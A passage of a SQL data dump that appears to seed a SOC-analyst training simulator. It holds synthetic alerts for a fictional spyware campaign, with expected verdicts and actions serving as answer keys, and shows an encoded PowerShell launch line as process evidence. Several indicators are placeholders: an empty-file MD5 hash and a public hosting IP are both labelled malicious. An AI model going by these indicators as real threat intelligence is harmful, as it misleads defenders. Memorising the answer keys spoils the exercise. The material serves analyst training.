3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:58Z\\\",\\\"alert_id\\\":\\\"DL-2023-EXFIL-0005\\\",\\\"detected_action\\\":\\\"Data Exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filehash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"filename\\\":\\\"customer_list_secret.xlsx\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"exfiltration_size\\\":\\\"2.5GB\\\",\\\"malware_associated\\\":false,\\\"internal_network\\\":true}\"},{\"timestamp\":\"2026-03-15T20:54:15.327Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:58Z\\\",\\\"alert_id\\\":\\\"DL-2023-EXFIL-0005\\\",\\\"detected_action\\\":\\\"Data Exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filehash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"filename\\\":\\\"customer_list_secret.xlsx\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"exfiltration_size\\\":\\\"2.5GB\\\",\\\"malware_associated\\\":false,\\\"internal_network\\\":true}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1517, 'Suspicious Email Attachment Detected', 'medium', 'Email gateway logs', 'A phishing email containing a seemingly harmless attachment was detected. This is the initial access point for the Predator spyware deployment.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T09:45:00Z\",\"email_id\":\"5f8e2b7d-4c7a-4b29-b2e1-1fb0a5b4c3d5\",\"sender\":\"attacker@example.com\",\"recipient\":\"victim@company.com\",\"subject\":\"Urgent: Invoice Attached\",\"attachment\":\"invoice123.docx\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"source_ip\":\"192.168.1.15\",\"attacker_ip\":\"203.0.113.45\",\"file_analysis\":{\"detected\":true,\"malware_family\":\"Predator\",\"file_behavior\":\"drops malicious payload\"}}', '2026-03-15 19:10:11', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"attacker@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Email address associated with known phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"invoice123.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"File used in phishing email\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Predator malware\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP address involved in previous phishing attacks\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Attachment Detected\",\"date\":\"2026-03-15T20:58:15.332Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1518, 'Zero-click Exploit Triggered', 'critical', 'Endpoint detection and response (EDR) tool', 'A sophisticated zero-click exploit is triggered, allowing the Predator spyware to execute on the target\'s device without any user interaction.', 'Remote Code Execution', 'T1203', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:05Z\",\"event_type\":\"exploit_attempt\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"destination_port\":445,\"malware_name\":\"Predator\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"predator_exploit_payload.dll\",\"username\":\"jdoe\",\"device_id\":\"EDR-001234\",\"signature_id\":\"EXP-2023-0001\",\"exploit_method\":\"zero-click\"}', '2026-03-15 19:10:11', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with zero-click exploit attempts.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as Predator spyware payload.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"predator_exploit_payload.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis System\",\"verdict\":\"malicious\",\"details\":\"Filename used in multiple exploit campaigns.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1519, 'Spyware Establishes Persistence', 'high', 'System registry analysis', 'Once executed, the Predator spyware establishes persistence on the device, ensuring it remains active even after reboots. The registry key modification is a common persistence mechanism.', 'Persistence Mechanism', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:32:45Z\",\"event_type\":\"registry_modification\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\predator\",\"registry_value\":\"C:\\\\Program Files\\\\Predator\\\\predator.exe\",\"user\":\"admin_user\",\"user_sid\":\"S-1-5-21-3623811015-3361044348-30300820-1013\",\"host_ip\":\"192.168.1.45\",\"external_ip\":\"203.0.113.45\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"predator.exe\"}', '2026-03-15 19:10:11', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"IP belongs to the internal network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"malicious_ip_database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Predator spyware activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Predator spyware sample.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"predator.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_file_list\",\"verdict\":\"malicious\",\"details\":\"Filename associated with Predator spyware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.334Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:32:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\predator\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Predator\\\\\\\\predator.exe\\\",\\\"user\\\":\\\"admin_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"predator.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.334Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:32:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\predator\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Predator\\\\\\\\predator.exe\\\",\\\"user\\\":\\\"admin_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"predator.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.334Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:32:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\predator\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Predator\\\\\\\\predator.exe\\\",\\\"user\\\":\\\"admin_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"predator.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.334Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:32:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\predator\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Predator\\\\\\\\predator.exe\\\",\\\"user\\\":\\\"admin_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"predator.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.334Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:32:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\predator\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Predator\\\\\\\\predator.exe\\\",\\\"user\\\":\\\"admin_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"predator.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1520, 'Data Exfiltration Detected', 'high', 'Network traffic analysis', 'Anomalous network activity detected indicating potential data exfiltration. The data exfiltration attempt was identified based on abnormal outbound traffic to a known malicious IP address. The attacker likely aimed to transfer sensitive political information from the target device to an external server.', 'Data Breach', 'T1041: Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"bytes_sent\":\"10485760\",\"filename\":\"political_activity_report.pdf\",\"username\":\"jdoe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"event_id\":\"EVT-20231012-0001\"}', '2026-03-15 19:10:11', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_asset_database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised device.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence_feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with data exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"political_activity_report.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_asset_database\",\"verdict\":\"suspicious\",\"details\":\"File containing potentially sensitive political information.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"antivirus_scan\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used for data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1521, 'Suspicious Phishing Email Detected', 'high', 'Email Gateway Logs', 'A phishing email was detected targeting key personnel with a malicious attachment designed to gain initial access. The email appeared to be sent from a compromised account with a seemingly benign PDF attachment.', 'Initial Access', 'T1566.001 - Phishing: Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T08:15:30Z\",\"email_id\":\"E123456789\",\"sender\":\"compromised_account@externaldomain.com\",\"recipient\":\"john.doe@company.com\",\"subject\":\"Quarterly Report\",\"attachment\":\"Q3_Report.pdf\",\"attachment_hash\":\"b2e98ad6f6eb8508dd6a14cfa704bad7\",\"attachment_size\":\"256KB\",\"source_ip\":\"203.0.113.45\",\"recipient_ip\":\"10.0.0.5\",\"action\":\"Quarantined\",\"reason\":\"Detected malicious attachment\"}', '2026-03-15 19:10:20', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"compromised_account@externaldomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Database\",\"verdict\":\"malicious\",\"details\":\"Known phishing domain\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"Q3_Report.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"Attachment Analysis\",\"verdict\":\"malicious\",\"details\":\"Contains macro malware\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b2e98ad6f6eb8508dd6a14cfa704bad7\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by multiple AV engines\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Associated with phishing campaigns\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Phishing Email Detected\",\"date\":\"2026-03-15T20:58:15.337Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1522, 'Malware Execution on Mobile Device', 'high', 'Mobile Device Management Logs', 'The spyware was executed on the victim\'s mobile device after an attachment was opened. The malware silently embedded itself into the device\'s system.', 'Execution', 'T1406', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:34Z\",\"device_id\":\"MD-12457\",\"user\":\"johndoe\",\"source_ip\":\"10.0.1.23\",\"external_ip\":\"185.199.108.153\",\"malware_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"invoice.pdf\",\"status\":\"executed\",\"mdm_agent\":\"v5.4.1\",\"event\":\"malware_execution\",\"description\":\"Spyware executed upon opening attachment\",\"detected_by\":\"MDM Security Module\"}', '2026-03-15 19:10:20', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected device.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with malware distribution.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known spyware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"invoice.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Suspicious filename used to deliver malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"johndoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Username of the victim, no prior malicious activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.347Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"device_id\\\":\\\"MD-12457\\\",\\\"user\\\":\\\"johndoe\\\",\\\"source_ip\\\":\\\"10.0.1.23\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"invoice.pdf\\\",\\\"status\\\":\\\"executed\\\",\\\"mdm_agent\\\":\\\"v5.4.1\\\",\\\"event\\\":\\\"malware_execution\\\",\\\"description\\\":\\\"Spyware executed upon opening attachment\\\",\\\"detected_by\\\":\\\"MDM Security Module\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.347Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"device_id\\\":\\\"MD-12457\\\",\\\"user\\\":\\\"johndoe\\\",\\\"source_ip\\\":\\\"10.0.1.23\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"invoice.pdf\\\",\\\"status\\\":\\\"executed\\\",\\\"mdm_agent\\\":\\\"v5.4.1\\\",\\\"event\\\":\\\"malware_execution\\\",\\\"description\\\":\\\"Spyware executed upon opening attachment\\\",\\\"detected_by\\\":\\\"MDM Security Module\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.347Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"device_id\\\":\\\"MD-12457\\\",\\\"user\\\":\\\"johndoe\\\",\\\"source_ip\\\":\\\"10.0.1.23\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"invoice.pdf\\\",\\\"status\\\":\\\"executed\\\",\\\"mdm_agent\\\":\\\"v5.4.1\\\",\\\"event\\\":\\\"malware_execution\\\",\\\"description\\\":\\\"Spyware executed upon opening attachment\\\",\\\"detected_by\\\":\\\"MDM Security Module\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.347Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"device_id\\\":\\\"MD-12457\\\",\\\"user\\\":\\\"johndoe\\\",\\\"source_ip\\\":\\\"10.0.1.23\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"invoice.pdf\\\",\\\"status\\\":\\\"executed\\\",\\\"mdm_agent\\\":\\\"v5.4.1\\\",\\\"event\\\":\\\"malware_execution\\\",\\\"description\\\":\\\"Spyware executed upon opening attachment\\\",\\\"detected_by\\\":\\\"MDM Security Module\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.347Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"device_id\\\":\\\"MD-12457\\\",\\\"user\\\":\\\"johndoe\\\",\\\"source_ip\\\":\\\"10.0.1.23\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"invoice.pdf\\\",\\\"status\\\":\\\"executed\\\",\\\"mdm_agent\\\":\\\"v5.4.1\\\",\\\"event\\\":\\\"malware_execution\\\",\\\"description\\\":\\\"Spyware executed upon opening attachment\\\",\\\"detected_by\\\":\\\"MDM Security Module\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0);
